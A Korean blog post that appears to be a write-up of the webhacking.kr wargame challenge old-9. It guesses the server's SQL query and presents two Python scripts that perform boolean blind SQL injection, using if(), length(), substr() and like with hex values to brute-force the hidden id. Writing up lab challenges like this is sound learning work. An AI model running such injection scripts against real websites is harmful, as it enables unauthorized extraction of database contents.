본문 바로가기
워게임/webhacking.kr

webhacking.kr old 9번(sql injection)

by meanjung 2021. 10. 20.

내 예상 쿼리문

select id from table_name where no=$_GET['no']

 

그래서 대충 넣어보면 다 AccessDenied가 뜬다. 필터링되나봄

 

 

?no=if(0,1,0) 와 같이 넣으면 다음과 같이 뜬다.

?no=if(1,1,0)을 넣으면 다음과 같다.

blind sqli를 할 수 있겠다.


import requests

for i in range(1, 30):
    URL = f"https://webhacking.kr/challenge/web-09/?no=if(length(id)like({i}),3,0)"
    res = requests.get(URL)
    if 'Secret' in res.text:
        break
print('id length:', i)
import requests
id=""
for i in range(1,12):
    for j in range(65, 123):
        jj = hex(j)
        url = f'https://webhacking.kr/challenge/web-09/?no=if(substr(id,{i},1)like({jj}),3,0)'
        response = requests.get(url)
        if 'Secret' in response.text:
            id+=chr(j)
            print(id)
            break
print(id.lower())

절대... j의 범위를 33부터 시작하지마라.......

 

댓글